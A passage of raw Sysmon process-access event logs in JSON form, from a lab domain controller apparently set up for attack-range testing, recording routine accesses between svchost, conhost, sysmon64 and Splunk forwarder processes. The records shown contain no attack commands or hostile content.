C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6020,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6021,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6022,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.417\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-41B4-5F2D-0000-001041EF0800}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.417","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-41B4-5F2D-0000-001041EF0800}","TargetProcessId":"4248","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6023,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.557\r\nSourceProcessGUID: {90617006-41B4-5F2D-0000-001041EF0800}\r\nSourceProcessId: 4248\r\nSourceThreadId: 4588\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.557","SourceProcessGUID":"{90617006-41B4-5F2D-0000-001041EF0800}","SourceProcessId":"4248","SourceThreadId":"4588","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6024,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nTargetProcessId: 588\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","TargetProcessId":"588","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6025,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6026,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6027,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nTargetProcessId: 1308\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","TargetProcessId":"1308","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6028,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6029,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 